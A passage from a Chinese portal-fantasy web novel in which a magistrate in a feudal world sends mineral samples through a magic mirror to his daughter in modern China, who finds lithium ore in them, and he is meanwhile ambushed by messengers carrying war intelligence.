事后听夫人说,这种做法其实非常凶险,一旦按错地方,不仅止不了血,还会导致呼吸停止。 万幸,她没有按错。 事后她也问过刘医官,得知那位伤兵的命救回来后,她这才松了一口气。 原来,是眼前的人吗? 叶淑婉下意识看向黎大山的脖子。 黎大山的脸更红了。天气虽然暖和了起来,但他们穿着军中统一的装束,衣领较高。 他想摸脖子,手到了一半,又放了下来。 “我……我的伤已经好了……姑娘的救命之恩,我……我永世不忘!” 他说完,转身走了,但那姿态分外别扭,既僵硬又失调,期间还有几步走出了同手同脚。 叶淑婉不禁想笑,但很快收了,垂下了眼眸,端着盆子回去了。 谢云溪正逗着袁淮安,抬起头问:“抬进来是什么东西?” 刚才谷雨的声音不小,她也听见了。 叶淑婉正要回答,念荟进来。 “是石头。” 谢云溪愣住了:“石头?” 念荟点头。她也觉得奇怪,大人怎么会让人抬一袋石头进来?但是刚才她打开袋子看了,确实是石头。 谢云溪呆了呆。 应该不是普通的石头,是矿石吗? 等到袁博文回来了,谢云溪问:“你今天让人抬进来的是一袋矿石吗?” 袁博文笑了:“我也不知道。这些都是胡耀生游历各地收集到的,他觉得这些石头与众不同,我就要了过来,一会儿给袁淼,让她找个专家看看,那些里面有没有珍稀矿产。” 谢云溪不PMDUJIA知道说什么了。 袁博文自己都觉得荒谬。 可万一呢?珍稀矿产原本就是从各种各样的石头里面提炼分离出来的。 现代的科技那么发达,普通石头里有珍稀矿产的可能性应该不大了。这些稀奇古怪的石头就不好说了。 今天,他也到府衙那里去了解情况了。 北地矿产资源丰富,金属类矿产资源有金、银、铜、铁、锡、铅、汞七种。非金属类有石材、煤炭等。至于其他,府衙的几位大人都没有听说过。 矿产资源分布情况,沔州是众所周知的冶铁中心,除了有丰富铁矿资源以外,也有铜矿。 他已经让人去调查具体情况了,准备将这些收归起来。 “东西在哪里?你们没有提进来吧?” 毕竟是不知名的石头,袁博文担心会有辐射,特别交待不能提到室内来。 “没有,就在屋檐下,你出门就能看到了。” 袁博文出去看了一眼。 到了时间,袁淼就出现了。她今天买到了监控设备和摄像头。将这些传给父母后,她又举起了手中的一叠资料。 “这是我在网上搜到的,有关紧缺的几种矿石资源的信息。” “好,传过来吧。” 袁淼传了过去:“今天叶部长来了,我们交割了一千二百斤黄金……” 袁淼把交割报表也传了过去。 袁博文和谢云溪一起看。 一千二百斤黄金,按照协议交割,最后的落账还有二亿三千多万。 这里面还有博云矿业的开支。 但即便是算清了全部的开支,他们也还有一亿多的收益。 看了报表,袁博文的心情都不一样了。 “叶部长今天有没有再次提到矿产资源的事情?” 袁淼摇头。 黄金交割清楚后,在林成章的组织下,博云矿业的领导们和叶家振等人一起吃了饭。席间她有些紧张,生怕叶部长又说起矿产资源的事情。 时隔一天,她依旧没法给答复。 好在叶家振像是忘记了这件事情,不仅席间只字未提,他们单独在一起的时候,他也没提,只说了湖钢集团的答复,沙总答应了她去学习和参观的要求,时间就安排在这个月月底。 袁淼心里越发不是滋味,跟叶家振道了谢。 袁博文把屋檐下麻袋提了过来:“淼淼,这是我们这边一位地质勘察高手收集的稀有石头,你看看能不能找这方面专家鉴定检测一下,这里面是否有矿产资源?” 袁淼愣了愣,才点头。 麻袋传了过来。 “袋子里的这些东西具体是什么,我们也不知道,可能有辐射,你别放的太近了。” 袁淼答应了。 跟父母联系完后,她打开麻袋,现入眼帘是各种各样的石头和晶体,有的通体黑黝黝,有的五颜六色,还有的跟宝石一样晶莹剔透璀璨夺目。 即便是对矿产资源一窍不通,袁淼也被眼前这堆石头迷住了。 看了许久,方才收手。 矿产资源方面的专家,博云矿业公司就有几位。 不过,这几个专家擅长的并不是稀有矿产,而是金。一些特殊的矿产,他们可能也不清楚。 这件事情如果传开了,也不好。她算是矿业公司空降的大领导,这些天虽然做了些努力,但与原来的人事还是有些隔阂,对许多人秉性并不了解。 考虑了一会,袁淼决定直接联系叶家振。 她看了看时间,已经快十一点了。 但如果等到明天,叶家振说不一定离开。 袁淼拨通了叶家振的电话。 “小袁,有事吗?” “有……一点小事!” “哦,你说,我们都没有休息。” “……叶部长,我刚才联系了我爸妈,他们刚给我传递一袋……石头过来!这些石头都是他们那边一位地质勘察高手历年收集的,我爸让我找个专家看看,这些石头是否是珍稀矿石,我就想到您!” 叶家振在袁淼提到地质勘察高手时就已经坐了起来。聚精会神听袁淼说完后,嘴角的笑就出来了。 “小袁,你考虑很对!这些石头很有可能不是普通的石头!你现在在哪儿?我们马上过去!” 别人不清楚矿产资源的发展历史,叶家振却了如指掌。古代发现的矿产资源远没有现在这么多。 除了金银,就是铜、铁、锡、铅、锌、汞这五种了。 所以即便是看到了不同寻常的矿石,也因为不知道它们的作用,而错过了发现。 至于地质勘察,古人的智慧可不容小觑。在几乎不借助任何外力的情况,他们就能通过山川地形等特点判断出地下的情况。 袁淼口中所说的这位高手应该就是帮助袁博文找到金矿的那一位,这位眼光独到,能被他看中的绝对不是普通的石头。 袁淼没想到叶家振居然比她还着急,她看了看时间,说了自己的住址。 一会后,楼下花园的门铃响了。袁淼连忙起身,亲自过去开了门。 叶家振和两位中年男子进来了。其中一位参与了今天的黄金交割。另一位则是个生面孔。 叶家振笑呵呵说:“小袁,这位是吕工,他是矿产资源方面的专家。” 袁淼心里汗颜,要是那袋石头里面没有有价值的矿产,那这一次就有些囧了。 这位吕工应该是一位高级工程师。 她跟吕工握手招呼。 看出叶家振等人的急切,袁淼也没有虚套:“东西在楼上。” 在叶家振等人没来之前,她已经让人把麻袋挪到了楼上的会客厅。 到了会客厅,袁淼顺手开了大灯。布置奢华的会客厅中,一个灰扑扑的麻袋格外显眼。 “那个就是吧!”叶家振问。 “对!” 袁淼过去后,打开了麻袋。吕工的眼睛一下子直了,蹲下身来,捡起一块灰白色的矿石仔细看了起来。 袁淼看着吕工,她是看不出这些石头和晶体与珍稀矿产有什么联系。这一袋里面比吕工手上漂亮的石头和晶体还有好几块。 “怎么样?”叶家振也蹲了下来。 吕工的眼睛已经灼灼发亮:“我得到实验室去看看。” 叶家振点头。他已经从吕工的脸上看出端详,能被他一眼看中,绝对不是普通的石头。 没想到他前天就提了一嘴,袁博文夫妇就送来了这么大一份礼。 即便是这些里面没有发现珍稀矿产,他也觉得超值了。 袁博文夫妇没有忘记生他们养他们的故土,他们依旧关心着这里的一切。 这次不行,只要他们夫妇有心,一定会帮上这个大忙。 他们所在的可是一整个异世界。那里尚处于封建社会,科技并不发达,许多珍稀矿产静静躺在地下,正等着人们的发现。 叶家振心情激荡,笑容满面说:“小袁,这些东西我们肉眼也看不出是否是珍稀矿产,能不能让我们把这些带到实验室,借助设备详细分析?” 袁淼连忙点头,她联系叶家振,就是想要他找专家分析测量,看看这些里面是否有珍稀矿产。 珍稀矿产如果肉眼就能看出,那还能叫珍稀矿产吗? 第140章 提醒 叶家振等人走了, 袁淼又坐到了电脑跟前,继续浏览有关冶铁的信息。 距离月底没几天了,她要去湖钢集团参观学习, 没有一点基础就过去, 大概跟看稀奇一样, 不会有任何收获。 收到监控设备的第二天, 袁博文就忙开了。组织人手,铺设管线, 安装摄像头等。 袁淼传过来这一批摄像头虽然自带了电池,不需要通电就能工作。连接的显示屏也是一样。但袁博文觉得有备无患, 还是在铺设管线的同时埋下了电路, 并且把太阳能充电板也都准备好了。 这件事情还没有忙完, 袁淼就接到了叶家振的电话。 “小袁, 前几天从你那里带走的那批石头检测结果出来了!” 袁淼原本在整理资料, 听了这个消息,立马坐直了。她从叶家振的声音里听出了高兴, 但还是有些紧张。 “是吗?那……有没有有价值的矿产?” “有!太有了!小袁啊,你爸身边的这位地质勘察师傅非常厉害!我们的专家在他收集这些石头里面发现锂矿石和富含镍铁的矿石!” 袁淼愣了愣。 她知道锂矿石,前些天叶家振就给她科普过,这种矿产以前并没有被发现,是近代才发现的。用在电池、原子能和军事等各个领域, 是现代科技发展不可或缺的重要物质。 不过, 镍铁的作用,她并不知道。 一边接打着电话,袁淼一边把镍铁输进了电脑。 电脑上立刻出现了有关镍铁的信息。 镍和铁都是我国较紧缺矿产资源,其中镍90%以上依赖进口。它的用途也广泛,通常用在不锈钢生产、电镀、合金制造等方面。 “除了这两种珍稀矿产, 我们还发现了金丝玉、泥石和方解石等稀有原石!” 袁淼看着电脑屏幕,听到叶家振的声音,也由衷感到高兴。 “小袁,你明天在家吗?”叶家振问。 那天,他们从袁淼家离开,在车上的时候,吕工就透露,他怀疑刚才看的那块石头就是锂矿石。 但得检测过后才能确定。 他当时听了,心里就按耐不住激动。 我国锂资源全球占比并不高,且开采难度大,但需求却逐年上涨。而且随着新能源汽车的开发和发展,锂的重要性也越发突显。 如果,确定了袁博文夫妇那边锂资源丰富,再与他们合作,那我国锂资源紧缺的问题就能迎刃而解了。 回去后,吕工连夜就开始干了,很快就确证了他先前一眼看中就是锂矿石。 不仅如此,他们还在剩下的石头中发现富含镍铁的矿石! 镍和铁可都是我国紧缺的矿产资源! 结果出来后,他心里无比激动。立刻把这件事情上报了。孟主任也很高兴,他的意思是一定要尽快了解清楚情况,尽量争取到与袁博文夫妇的合作。 “在的!” “好!明天上午十点左右,我们来找你,把东西还给你!” 再谈一谈合作的事情,他现在已经迫不及待了。 挂了电话,袁淼心里也很激动。这天晚上就把这件事情告诉父母。 袁博文和谢云溪都惊呆了。 “真有锂矿石?”袁博文自己都不敢相信。 “是叶部长亲口跟我说的。” 袁淼想到叶家振等人上次过来时的情景,那位吕工看到一块灰白色的石头,眼睛都直了。她怀疑那块石头就是锂矿石。 袁淼把那天晚上的情景告诉袁博文和谢云溪。 袁博文愣了愣:“你是说那块灰白色的,表面有油腻感……质地较硬的矿石吗?” 袁淼点头:“就是那块!” 吕工拿到手后,一直到离开才放手。高手们果然所见略同! 袁博文不禁笑了。 这块石头,他也过过手。 铁铜等之类的矿产他不确定自己够不够用,不敢贸然给上面,便想到了现在这里用不上,但现代又紧缺的几种矿产。 锂,是他最熟悉的,所以随口问了问胡耀生。没想到胡耀生不仅见过,还收藏了这种矿石。现在又确定了,他收藏那块灰白色石头就是锂矿石! 真是歪打正着! “叶家振他们明天过来,多半会说合作的事情,你先别答应。我问问胡耀生,看看那块矿石他是在哪里找到的。” 如果在北地,那当然可以谈合作,但如果在其他地方,现阶段他也无能为力。 “我知道的。”袁淼也很谨慎。 第二天一大早,袁博文就又来到矿区,但这次扑了空,胡耀生下矿洞了。 自从袁博文上次带着他下来过一趟后,这几天他天天都往矿洞跑。 “大人,我去叫他上来!”商泽说。 袁博文点头。等了一会儿,商泽就带着一脸不愿意的胡耀生回来了。 袁博文站了起来:“胡先生!” 胡耀生看到了袁博文,脸色这才好些。冲袁博文作揖后问:“上次带过去的石头,袁大人看好了吗?” 袁博文忍住笑:“明后两天,一定归还。” 他请胡耀生坐下,又让人上了茶水,“关于上次的那些石头,我有几个问题想请教先生。” 胡耀生品了一口好茶,脸色也舒缓下来了:“袁大人请说!” “先生还记得你拿给我看的那块灰白色的石头吗?” 胡耀生点头。他对自己珍藏了如指掌。 “实不相瞒,这种石头我有用处,先生还记得是在哪里找到的吗?” 胡耀生闻言,茶也不喝了,盯着袁博文:“袁大人能告诉到底是什么用处吗?”他咧嘴一笑,“我属实好奇。” 袁博文佯装思虑,片刻说:“告诉先生也无妨,这种石头可以提炼出一种叫锂的东西,锂可以入药,能医治神志不清的病患。” 这些都是袁博文最近几天才看到了,锂的作用很广泛,除了用在电池、原子能、军事等方面,还能入药。 前面的几个用途不能说,说了这里的人也不理解,但是入药就都能懂了。 他也不怕有人听去了照做,从矿石里面提炼出锂,可不能这里现有的技术能做到的。 胡耀生明白了。 入药!众所周知,袁夫人医术了得! 袁大人寻找这种石头自然是为了袁夫人! 能医治神志不清的药!这可是大大好事! 胡耀生冲袁博文作揖后:“袁大人宅心仁厚,是我狭隘了。这种石头是我高州盐湖旁边捡到的,同时一起捡到的还有另一块石头……” 胡耀生一说,袁博文就想到那块有可能被胡耀生舔尝过的石头。他有点想笑,不过心里也很佩服胡耀生。这样的人物,在现代一定会大放光彩。 他听胡耀生说完后,点了点头,与胡耀生探讨起来盐湖的情况。 高州也是北地十六州之一,不过那些贫瘠,还有个偌大的盐湖,袁博文虽然没有去过,但听许多人讲过。那里风景独特。这种特殊的湖泊含盐量很高,正是容易提炼出锂矿的地方。 知道了锂矿石出自哪里后,袁博文的心情也大好了,高州在皖州的旁边,他既然已经起兵,北地十六州是一定要拿下的。 不仅北地十六州,南北咽喉要道的泗阳关也要拿下。这样才能与北凉和大顺分庭抗敌。 从矿区出来,袁博文坐在车里闭目养神,山区崎岖,车子颠簸了一下后,突然停了下来。 游八斤回头:“大人,前面的车爆胎了。” 袁博文看了看周围。两边山林茂密。这是一处山坳。他没有下车。 前面车上的四个人护卫下来,有两个来到袁博文所乘车辆的旁边,另外的两人则开始换轮胎。 突然,几道白光急射而来,下车的护卫始料未及,有一个被射中了脚踝,噗通一声跪倒了。 另外三个虽然也中了,但他们身上都穿着防护衣。中招之后也反应过来了,端起手中的枪朝着密林一通扫射。 后面的车上,护卫们也都下来了,将袁博文的车辆团团围住后,也开枪了。 枪声密集,密林中人影跃过,但很快就落了下来,发出噗通一声闷响,从山坡上滚落了下来,密集的子弹随即而至,那人连滚带爬避让,狼狈之极,眼看就要中弹了,密林中有人高声喊道:“袁大人手下留情!” 连喊了两声后,袁博文才抬了抬手,谷雨看到了他的手势,通知了外面的护卫。 机枪的扫射停了下来。 一会后,密林中走出了几个人来,其中有两个已经中弹,正被同伙搀扶着。 先前滚出来的那人已经灰头灰脸,他的腿也中了弹。看到出来的同伙后,他挣扎着要过去,但很快就被人用枪抵住了脑袋。 这人的脸色一下子变白了,再也不敢动弹。 “袁大人!”其中一个像是头目的中年男子脸色也很不好看,冲袁博文乘坐的车辆拱了拱手,“我等并无恶意!” 袁博文看了看他们的人数。八个人伤了三个。他的护卫是这些人的两倍。不过,还是要小心,刚才那一下分明是个暗器高手。虽然现在在地上爬,但谁知道会不会有第二个。 这几台车都安装了防弹玻璃,只要他不下车,安全基本上没问题。 至于他们所说的并无恶意,袁博文把它当成了屁话———没有恶意,还会放暗器吗? 他给了谷雨一个眼色,谷雨下了车,一个招呼,便有两个护卫提着枪过去。 密林中出来这几个人明显慌了,头目更是高声喊道:“袁大人!我等并无恶意!是有机密告知……” 他的话音未落,就挨了枪托一击,迫不得已跪了下来。其他人也跟他一样。其中一个少年大约是不服,怒气冲冲刚想站起来,就被枪抵住了头。 “佑堂!不得造次!”头目连忙喊道。 被枪抵住的少年脸上已经没有了血色,漂亮的眼睛里也满是惊惧,慢慢跪了下来。 头目松了一口气,又冲袁博文的车辆喊话:“袁大人,先前是我们的不是,还请见谅!我等是湖州人士,我乃湖州守备陆重的胞弟陆沉,我们这次前来,的确是有紧急军务告知!” 湖州守备陆重?袁博文没印象。 湖州在皖州的旁边,距离晋州很远。袁博文是前年才中的举,官场中认识的人寥寥无几,而且基本上都是文官。武将,他几乎都不认识,除了极个别大名鼎鼎的以外。 看到从密林中出来的人都被捆上后,袁博文这才从车里面下来,走到陆沉等人跟前,居高临下看着,轻慢说道:“陆将军的并无恶意,很是特别啊!” 陆沉脸上一片灰败,他们来到郴州后,原想着只要他报出自家兄长的名号,就一定能与袁博文见上一面。 结果,在袁府门口堵了几天,都没能靠近。今天好不容易打听到袁博文的行踪,结果他一直呆在铁车里。 那铁车来去如风,他们别说跟袁博文见面了,连追上都做不到。 只好等在这里,弄了些铁蒺藜埋伏在路上。 铁车压到了铁蒺藜,是停了下来,车上的人也下来了,但袁博文依旧没动。华师傅沉不住气了,甩出了几支星锥,想给他们一个下马威。 结果,四支星锥,明明都中了,却只倒了一个。剩下的三个像是捅了马蜂窝,端起手中的铁疙瘩眨眼功夫竟放出数不清的暗器。 细细密密,根本无处可逃。华师傅原本想挪个位置,刚一动身,腿上就中了好几下。 其他的兄弟,但凡冒头的,也无一幸免! 整个北地都在传袁博文麾下的神器营如何如何厉害,战无不胜攻无不克,各种神器前所未闻,厉害非凡。他原本是不信的,今日开了眼界。 见过的几次的铁车自然不用说,马车跟它相比,简直一无是处。 明明中了星锥,却一点儿事情都没有,这是因为这些护卫身上都穿着厉害的宝衣。 还有护卫们身上挎着的铁疙瘩,着实厉害!华师傅的身手在整个北地都排得上号了,但是对上它,完全没有招架之力。 这些仅仅只是袁博文的亲卫,他如果真有一整支这样队伍,其威力可想而知。 陆沉心里既激动,又垂头丧气:“先前是我等的不是,还望袁大人见谅!” 袁博文看着陆沉,想到了前不久收编的程士杰。 这人确实是个人才,在攻打沔州时他和他的手下出力不少。事后他将程士杰编入长枪营中,并且担任了伍长一职。 原长枪营主将调任在即,副将霍小北即将转正。如果程士杰在接下来的战事中表现出色,升职为副将指日可待。 他现在缺人,各种各样的人才都缺,但并不是什么人都要。 “你说你是陆将军的胞弟,凭据呢?” 陆沉顿了顿,掏出了一个腰牌,双手递了过来。 袁博文看了看,这东西他有印象,关正也有。但要确认,还得找个懂的人。可惜,他身边的亲卫都是从新兵营里面挑出来的。 140-150 第141章 愧疚 可惜, 他身边的亲卫都是新兵营里出来,见识更少,估计都不认识。 袁博文按下这事, 又问:“你说你有紧急军务要告诉我, 到底何事?” 陆沉看了看周围:“大人能否借一步说话?” 袁博文不为所动:“但说无妨!” 他连这个人是谁都不确定, 怎么可能跟他单独相处?要是再有埋伏呢? 自己的那三脚猫功夫对上高手可不够看。 陆沉垂下眉眼, 犹豫了片刻:“我们得到准确消息,皖州已经有大批北凉人马聚集, 他们与萧南召约好,不日便要夹击郴州!” 袁博文心里一惊, 面上却不露分毫。自打算起兵造反后, 他就知道自己已经没有了退路, 也明白迟早会迎来北凉和大顺的重兵围剿。 “陆将军这消息从何而来?” 陆沉一脸为难, 袁博文冷哼一声, 转身就走。谷雨会意,冷森吩咐:“带走!” “袁大人!”陆沉连忙叫住袁博文, 脸上挣扎一会后,低声说,“……皖州北凉守将身边有我们的人!” 内应! 袁博文明白了。 北地十六州虽然沦陷了大半,但真正为北凉做事的北地民众并不多。陆重既然是湖州守备,在湖州皖州一带肯定有自己的人脉, 这些人里面有一两个混到了北凉守将身边, 并不稀奇。 北凉重兵来犯虽然在他的预料之中,但如果他们现在就来,他还真不一定能应付得了。 他的主力军在商州,郴州这里的人马并不多。 袁博文回过头来,仔细打量陆沉等人, 猜测陆沉话里的真假。 如果是假的,这些人的目的是什么?谎报军情,骗他入瓮吗?这对他们有什么好处? 袁博文想不明白了。 他觉得极有可能是真的。北地民众仇恨北凉的不是小数。如果,他们的身份是真的,家园被践踏,亲人战死,他们千里迢迢过来送信,倒也说的通。 “陆将军告知的事情非同小可!事关重大,请诸位跟我们走一趟吧!” 陆沉看了看其他人,点头了。 袁博文转身走了。 陆沉等人被提了起来,先前的少年年轻气盛,似乎很不习惯被这样对待,一脸不服,但被陆沉瞪了一眼后,他也安静了下来。 袁博文上了车,陆沉等人也被压上了车。车上位置不够了,有几个护卫下去了。 车发动后,陆沉等人惊呆了。在外面看到,与坐在车里的感觉完全不一样。明明是山路,但坐在车里并没有感觉到有多颠簸。若是马车,这一段路可不敢来。 车外面的景色如流水一样过去。转眼他们就看到了郴州城墙。 陆沉咽了咽口水,这铁车比马车属实好太多了。骑马至少要半个时辰的路程,居然不到一柱香功夫就到了。 难怪袁博文的大军能神出鬼没了! 这样的速度,谁与争锋? 袁博文将陆沉等人带到了巡防营,交给了江虎审查,自己则继续忙着安装监控设备。下午回庄上之前,他又来到了巡防营。 江虎看到他,连忙过来。 “大人,我们已经查证。今日您送过来的这几个的确是湖州守备陆重的胞弟陆沉和陆重之子陆佑堂等人。” 袁博文有些诧异。 陆重的儿子陆佑堂? 他想到了那个原本一脸不服,但被枪抵住头后乖乖跪下的少年。 “湖州城破的时候,他们在外面,这才得以幸免于难。这些日子以来,他们一直潜伏在皖州湖州一带……” 江虎跟在袁博文身边,一边走,一边把打探的消息告诉袁博文。 袁博文进了大牢。牢中原本四下散坐的人都起来了,聚集在陆沉身后。 袁博文看了看牢中环境。眼前这一间牢房大概算是巡防营大牢的豪华间了,面积虽然不大,但收拾的干净整齐,桌椅案塌等一应俱全,连茶水都有。 陆沉等人的伤也料理过了。不过,他们的眼神中仍有戒备和畏惧。 袁博文看向陆沉:“陆将军,今日多有得罪!还望见谅!” 陆沉回道:“袁大人不认识我等,小心谨慎,在所难免。” 袁博文笑了笑。能理解就好。现在不知道有多少人想要取他的项上人头,他有妻子女儿儿子牵挂,不敢有丁点松懈。 “请坐!” 陆沉顿了顿后,坐了下来。袁博文在他的对面也坐了下来。 现在这伙人的身份确认了,他们千里迢迢过来送信,他自然不能怠慢。 “陆将军先前说皖州有大批北凉人马聚集……到底情况怎样?陆将军能详细说明吗?” 陆沉的脸上罩上了一层阴霾。但开弓已经没有回头箭了。他把自己的情况讲了:“实不相瞒,湖州城破后,我们并没有离开,一直在皖州湖州一带……皖州北凉守将萧瑜身边有个侍妾……是我们陆府的人……” 袁博文心里有些不是滋味了。 陆沉等人的消息来自皖州北凉守将萧瑜身边的一个侍妾。 这个侍妾的身份,陆沉虽然说得模棱两可,但是从他的脸色,以及他身后的陆佑堂的表现来看,这人很有可能就是原来陆府的女眷。至少与他们关系匪浅。 贵女沦为侍妾,其中内情不用追究就能想到。 袁博文听完后,点了点头,不再揪着内应的身份不放了。而是问起了皖州和湖州的情况。 这两州最早沦陷,也受到了近乎毁灭似的的打击,皖州还好,地处要道,北凉的大半援助都要从那里经过,但湖州偏僻,至今都没能恢复到以前的一半繁荣。 从巡防营大牢出来后,袁博文让江虎给陆沉等人挪个位置,找个安静的小院暂时住着,等验证了消息的真假后,再做定夺。 交待好了,袁博文就上了车。心情沉重。 如果陆沉送过来的消息确证无疑,那他就得马上走了。 可谢云溪还没有出月子。 回到园子里,袁博文一进门就看到谢云溪和袁淼已经联系上了。 谢云溪听到了动静回头,笑着说:“说曹操,曹操就到了。” 镜子里面的袁淼也笑着看了过来。 袁博文打起了精神,来到镜子跟前:“淼淼,叶部长他们今天过去了吗?” 袁淼点头:“他们把那袋石头送了过来。”她说着,让开身,让袁博文和谢云溪看她身后的麻袋。 “还给了我这个!” 袁博文和谢云溪都愣了愣。 袁淼手上拿着像是一本册子。 等袁淼将麻袋和手中的东西传过后,谢云溪翻开那本册子,不禁啧啧两声,感慨说:“真是有心了!” 袁博文也暗暗吃惊。 这本册子上居然就是麻袋里那些石头的照片和鉴定结果。一张照片下面对应的就是照片中石头的名称和检测结果。 锂矿石和富含镍铁的矿石就排在第一第二的位置。照片中的锂矿石正是他们先前认定的那一块。 不过,富含镍铁的矿石,他们先前都没有留意到。 “叶部长他们还说了什么?”袁博文问。 “他想跟你们约个时间谈一谈。” 今天叶家振等人过来,袁淼心里有些紧张。虽然叶家振在来之前已经给她打过了电话,确证了锂矿石的存在,但是她对接下来会怎么发展,并没有底。 她当然愿意为祖国做些事情,但是父母那边的形势并不好。矿产资源的开发可不是一天两天的事情。 他们现在合作共同开采的金矿就历时一个多月方才谈妥。 而且,金矿就在父亲管辖的郴州境内。 但现在她连锂矿石出现在哪里都不知道。 袁博文想了想:“那就明天下午吧,大概三点左右,你问问叶部长有没有时间。” 谢云溪不禁看了袁博文一眼。 “好!”袁淼答应了,“爸,你今天去矿区,那位胡先生怎么说?锂矿石是他在哪里捡到了。” “高州盐湖旁边。” “高州?也是北地十六州之一吗?”袁淼问。 “嗯,不过那里在边界线上,距离郴州较远。” 袁淼知道父亲现在已经掌控晋州郴州贺州沔州四州,高州并不其中,而且又在边界线上,很显然开采的条件没有现在合作开采的金矿条件好。 但是父亲已经答应了跟叶家振面谈。 “爸,你是想跟叶部长他们合作吗?” 袁博文的确有这个想法。国家资源紧缺的问题,他既然知道了,那就没办法漠视。况且,一直以来上面都对他们很是照顾,这份好他心领了,既然有机会回报,那自然不能推辞。 好在高州虽然远,但也在北地范围内,他迟早会拿下。 “你想好了怎么合作吗?” 袁博文笑了:“这事还早。高州还在北凉治下,那边的情况,我也不清楚。” 即便要谈合作,那也得先摸清楚情况。不过,可以先告诉叶家振等人,让他们安心。 袁淼明白了袁博文的意思。她又把今天买到的东西传了过去。 “爸,监控器都安装好了吗?” “快了!明天应该就能完工。” 袁淼放心了,有了监控设备,父母和弟弟的安全也能得到进一步的保障。 要了一张袁淮安的照片后,他们断开了联系。 谢云溪问袁博文:“你明天就约叶家振,是不是急了些?出了什么事吗?” 袁博文一时间不知道怎么回答。谢云溪还没有满月,他这边就有可能要离开了。 虽然谢云溪身边的几个丫头很能干,但是她们都不曾嫁人生子,有些事情,她们不一定能做好。 谢云溪见袁博文犹豫,越发确认了:“真有事啊?你不会想瞒着我吧?” 袁博文无奈一笑:“我怎么会瞒着你?我是不知道怎么说……云溪,过几天我可能就要走了。” 谢云溪愣了愣:“是商州那边出事了吗?” 袁博文摇头:“不是……今天,我去矿区那边找胡耀生,回来的时候,遇到了一伙人……” 他把陆沉等人的事情说了。 谢云溪听完后点头:“这些人说的应该是真的,他们没有必要撒谎……郴州的兵,不多了吧?” 袁博文点头。谢云溪也觉得难办了。把商州那边的主力调过来,再想要打,就不是短时间内的事情了。 可如果不把人调过来,光靠郴州的这些人,她也不知道能不能顶住。 “我已经跟严云枫说了,让他连夜去打听消息,如果确认了,我就得走了,不能让北凉把郴州围了,郴州太重要了,得分开解决。中途埋伏偷袭打残了一边后,另一边就不足为惧了。” 谢云溪抬眼看向袁博文:“那你去吧,我这边你不用担心!这么多人呢!再说了,你不是把郴州那边宅子里都装上了监控设备吗?等淮安一满月,我们就搬回去。” 袁博文叹了口气,原本他计划等谢云溪满月之后再离开,现在多半不能了。生产的时候,他来不及赶回来,现在月子期间也顾不上了。 谢云溪笑着安慰:“我在郴州可比你们在外面安全多了!上次的事情是我大意了,以后我会小心!你放心吧。” 袁博文默默点头。次日把监控设备安装的收尾工作完成后,他又教导怎么使用。连虎等人都惊呆了。 原来这几天他们忙的就是这个!整个院子连同周围的景象居然都出现在眼前的几个方块里面!就像亲眼看到的一样!细微到每个院子的地上有多少块砖以及砖上是何花纹都一清二楚了! 太神奇! 这是如何做到的? 有了这个他们护卫队哪里还用得着每日不间断巡逻?这个可比护卫们的眼睛厉害多了! 一队巡逻五人,十只眼睛绝对做不到能看到院子里的每一个角落。 但眼前的这些却可以!足不出户,尽在眼里,分毫不差! 袁博文看了连虎等人一眼,沉声说道:“这是监控视频,可以看到院子里的每一个角落。但是护卫队不能因此懈怠了!完全依赖这些仪器和设备!” 连虎等人回过神来,连忙应下。 上次的事故,府中的护卫损失惨重,袁博文又从军中挑了人手过来,都是有些身手的。 袁博文又教连虎怎样更换电池和充电等。 府中的这些护卫都是他精挑细选出来的,大部分出自晋州,身份都经过调查,绝对可靠。 他也不怕他们反水。这些设备都与电有关,没有电,这些就是一堆废物。不用插电的摄像头是因为有专用电池。太阳能充电板比发明出电更复杂,一旦损坏,它也跟一堆废物没什么两样。 这些设备都有使用期限,期限到了,没有保养和新的替代,也就没什么用了。 连虎等人都试了试。 袁博文又说:“你们要是不懂或遇到了问题,我不在府上,你们可以去找夫人。” 妻子的后面有女儿,女儿身后是一个科技飞速发展的现代社会。这些设备出现了故障,一定会有解决的办法。 连虎等人都应下了。 袁博文又去了军中,把监控设备的操作教给军中的相关人等。 忙完这些,他就马不停蹄赶回了庄子里。时间还没到,他又做了一些准备工作后,袁淼出现在镜子里了。 “叶部长他们来了吗?”袁博文问。 袁淼点头:“叶部长和陈秘书长王所长他们都来了,还有上次的顾工。” 袁博文和谢云溪对这几个人都有印象,上次谈金矿开采事宜时,就是这几个人出的面。 “好,你让他们都过来吧。” 袁淼下楼,将陈博川等人领到了会客厅。 再次面对一面平平无奇的镜子,叶家振等人的心情与上次大相庭径。上一次,他们即便是知道即将要发生什么事情,但是面对的时候,还是吓了一跳。过了好一会儿才缓过劲来。 回去的路上大家都有些兴奋,还畅想着两个世界能加强沟通来往,没想到这一天会来得这么快。 不过,上一次是双方合作共赢,这一次他们却是有求而来。 看到袁淼再次出现在镜子里面,袁博文和谢云溪都知道她的身边多了几个人。 袁博文说:“淼淼,你替我们向几位领导问声好。” 袁淼转过头,笑着转达了袁博文的意思。 陈博川等人都笑了,原本有些拘谨和诡异的气氛也消弭了。 袁淼也觉得轻松了许多。 陈博川笑着说:“小袁,你问问你爸妈,要不我们还是按照上次的沟通方式来?怎么样?” 袁淼点头,对镜子里面的袁博文和谢云溪说:“爸,妈,要不还是跟前几次一样,你们用手机语音沟通?” 袁博文和谢云溪都没有意见。 袁淼把手机递给了陈博川。陈博川笑着对叶家振说:“老叶,你的事情比较重要,还是你先说吧。” 叶家振早就在等着了,拿过手机后,语音说道:“袁老师,前几天你传过来的矿石我们请专家看过了,结果你应该也知道了吧?” 他说完后,把手机给了袁淼,袁淼把手机传给父母。 袁博文和谢云溪听完语音后,袁博文说道:“是的!结果我们已经知道了,谢谢叶部长!您送的册子对我们很有用。” 那本册子上罗列了麻袋里面所有的石头的检测结果,连表面新奇怪异,内里却只是普通泥沙的石头都标识出来了。 叶家振听到袁博文的语音后,嘴角的笑都压不住了:“小事一桩!袁老师你们能信任我们,也是我们的荣幸。” “前几天,我都还在跟小袁诉苦呢,说我们国家的矿产资源形势严峻。没想到你们立刻送了一袋好东西过来。” “锂、镍、铁,都是我们国家紧缺的矿产资源!锂的作用,我不说,你们也应该都知道吧?现代的科技发展离不开锂的应用。” “镍,被广泛应用在了不锈钢生产、电镀、合金制造等各个方面,也是我们生活中不可或缺的的重要资源。” 第142章 资源 “袁老师, 这几种矿产资源在你们那边的情况怎么样?” 叶家振说完后,把手机递给了袁淼,袁淼传给了父母。 袁博文和谢云溪听了语音后, 想了想, 袁博文说:“不瞒几位领导, 我们夫妇虽然来到这里已经有不少年头了, 但是以前都没有留意过这边的矿产资源情况。” 不仅是矿产资源情况,其他资源情况, 